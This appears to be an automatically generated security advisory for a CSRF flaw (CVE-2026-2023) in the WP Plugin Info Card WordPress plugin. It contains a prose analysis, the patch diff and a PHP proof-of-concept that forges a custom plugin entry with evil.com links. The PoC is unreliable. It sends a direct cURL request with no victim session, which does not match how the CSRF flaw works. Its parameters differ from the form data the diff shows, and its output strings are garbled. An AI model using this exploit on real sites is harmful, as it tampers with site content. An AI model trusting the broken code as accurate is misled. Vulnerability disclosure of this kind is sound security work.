Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-2023: WP Plugin Info Card <= 6.2.0 – Cross-Site Request Forgery to Arbitrary Custom Plugin Entry Creation (wp-plugin-info-card)

CVE ID CVE-2026-2023
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 6.2.0
Patched Version 6.3.0
Disclosed February 16, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-2023:
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the WP Plugin Info Card WordPress plugin, allowing unauthenticated attackers to create or modify custom plugin entries. The issue affects all plugin versions up to and including 6.2.0, with a CVSS score of 4.3. The vulnerability resides in the AJAX handler for saving custom plugin data.

The root cause is the deliberate disabling of nonce verification in the `ajax_save_custom_plugin()` function. In the vulnerable version, the file `wp-plugin-info-card/php/Admin/Init.php` contains a conditional check on line 392 that is prefixed with ‘false &&’. This syntax ensures the `wp_verify_nonce` function is never executed, regardless of the nonce value submitted. The function `ajax_save_custom_plugin` handles POST requests to the `admin-ajax.php` endpoint with the action `wppic_save_custom_plugin`.

Exploitation requires an attacker to trick a logged-in administrator with appropriate capabilities into submitting a forged HTTP request. The attacker crafts a malicious HTML page or link that sends a POST request to `/wp-admin/admin-ajax.php`. The request must include the parameter `action` set to `wppic_save_custom_plugin` and other parameters like `title`, `slug`, and `description` to define the custom plugin entry. Because the nonce check is disabled, the request succeeds if the victim is authenticated, leading to arbitrary data creation or modification.

The patch, applied in version 6.3.0, removes the ‘false &&’ prefix from the nonce verification check on line 392 of `Init.php`. This change activates the `wp_verify_nonce` function, ensuring a valid nonce is required for the request. The patch also updates the plugin version constants in the main plugin file and an asset file. Additionally, the patch introduces new nonce fields (`nonce` and `saveNonce`) in the JSON response for the edit function to facilitate future secure requests.

Successful exploitation allows an attacker to create or overwrite custom plugin entries stored by the plugin. This could lead to data integrity issues, such as injecting malicious links or incorrect metadata into site content that uses the plugin’s display functions. The attack requires social engineering to lure an administrator, but no direct authentication or special privileges are needed from the attacker’s side.

Differential between vulnerable and patched code

Code Diff
--- a/wp-plugin-info-card/dist/wppic-admin-custom-plugin.asset.php
+++ b/wp-plugin-info-card/dist/wppic-admin-custom-plugin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escapeHtml', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-warning'), 'version' => '2f401fb52fc25a6484d6');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-escapeHtml', 'wp-i18n', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-url', 'wp-warning'), 'version' => 'cf3112664777820a8081');
--- a/wp-plugin-info-card/php/Admin/Init.php
+++ b/wp-plugin-info-card/php/Admin/Init.php
@@ -295,11 +295,13 @@
 		$item_content['restApiDataVersion'] = absint( get_post_meta( $custom_plugin->ID, 'restApiDataVersion', true ) );
 		$item_content['restApiUrl']         = esc_url_raw( get_post_meta( $custom_plugin->ID, 'restApiUrl', true ) );
 		$return                             = array(
-			'id'      => absint( $custom_plugin->ID ),
-			'title'   => sanitize_text_field( $custom_plugin->post_title ),
-			'slug'    => sanitize_title( $custom_plugin->post_name ),
-			'content' => $item_content,
-			'icon'    => get_the_post_thumbnail_url( $custom_plugin->ID, 'full' ),
+			'id'        => absint( $custom_plugin->ID ),
+			'title'     => sanitize_text_field( $custom_plugin->post_title ),
+			'slug'      => sanitize_title( $custom_plugin->post_name ),
+			'content'   => $item_content,
+			'icon'      => get_the_post_thumbnail_url( $custom_plugin->ID, 'full' ),
+			'nonce'     => wp_create_nonce( 'wppic-edit-custom-plugin-' . $custom_plugin->ID ),
+			'saveNonce' => wp_create_nonce( 'wppic-save-custom-plugin-' . $custom_plugin->ID ),
 		);

 		wp_send_json_success(
@@ -387,7 +389,7 @@

 		// Verify nonce from form data.
 		$nonce = sanitize_text_field( $form_data['nonce'] );
-		if ( false && ! wp_verify_nonce( $nonce, 'wppic-save-custom-plugin' ) ) {
+		if ( ! wp_verify_nonce( $nonce, 'wppic-save-custom-plugin' ) ) {
 			wp_send_json_error(
 				array(
 					'message'     => __( 'Nonce verification failed', 'wp-plugin-info-card' ),
--- a/wp-plugin-info-card/wp-plugin-info-card.php
+++ b/wp-plugin-info-card/wp-plugin-info-card.php
@@ -11,7 +11,7 @@
  * Description: WP Plugin Info Card displays plugins & themes identity cards in a beautiful box with a smooth rotation effect using WordPress.org Plugin API & WordPress.org Theme API. Dashboard widget included.
  * Author: Brice CAPOBIANCO, Ronald Huereca
  * Author URI: https://dlxplugins.com/plugins/plugin-info-card/
- * Version: 6.2.0
+ * Version: 6.3.0
  * Text Domain: wp-plugin-info-card
  * License: GPL v2 or later
  * License URI: https://www.gnu.org/licenses/gpl-2.0.html
@@ -37,7 +37,7 @@
  * Define Constants.
  */
 if ( ! defined( 'WPPIC_VERSION' ) ) {
-	define( 'WPPIC_VERSION', '6.2.0' );
+	define( 'WPPIC_VERSION', '6.3.0' );
 }
 if ( ! defined( 'WPPIC_PATH' ) ) {
 	define( 'WPPIC_PATH', plugin_dir_path( __FILE__ ) . '/src/' );

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2023 - WP Plugin Info Card <= 6.2.0 - Cross-Site Request Forgery to Arbitrary Custom Plugin Entry Creation

<?php
// Configuration: Set the target WordPress site URL.
$target_url = 'https://vulnerable-site.example.com';

// Construct the endpoint for the vulnerable AJAX action.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

// Define the POST data for creating a malicious custom plugin entry.
// The 'action' parameter must match the vulnerable hook.
$post_data = array(
    'action' => 'wppic_save_custom_plugin',
    'title' => 'Malicious Plugin',
    'slug' => 'malicious-plugin',
    'description' => 'This entry was created via CSRF.',
    'author' => 'Attacker',
    'authorProfile' => 'https://evil.com',
    'homepage' => 'https://evil.com/plugin',
    'version' => '1.0.0',
    'tested' => '6.5',
    'requires' => '6.0',
    'requiresPHP' => '7.4',
    // The nonce check is disabled, so any value (or none) can be sent.
    'nonce' => 'disabled_check'
);

// Initialize cURL session.
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// For demonstration, we ignore SSL verification (not recommended for production).
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request.
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output the result.
echo "HTTP Status: $http_coden";
echo "Response: $responsen";
// A successful response will contain JSON with a 'success' status.
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School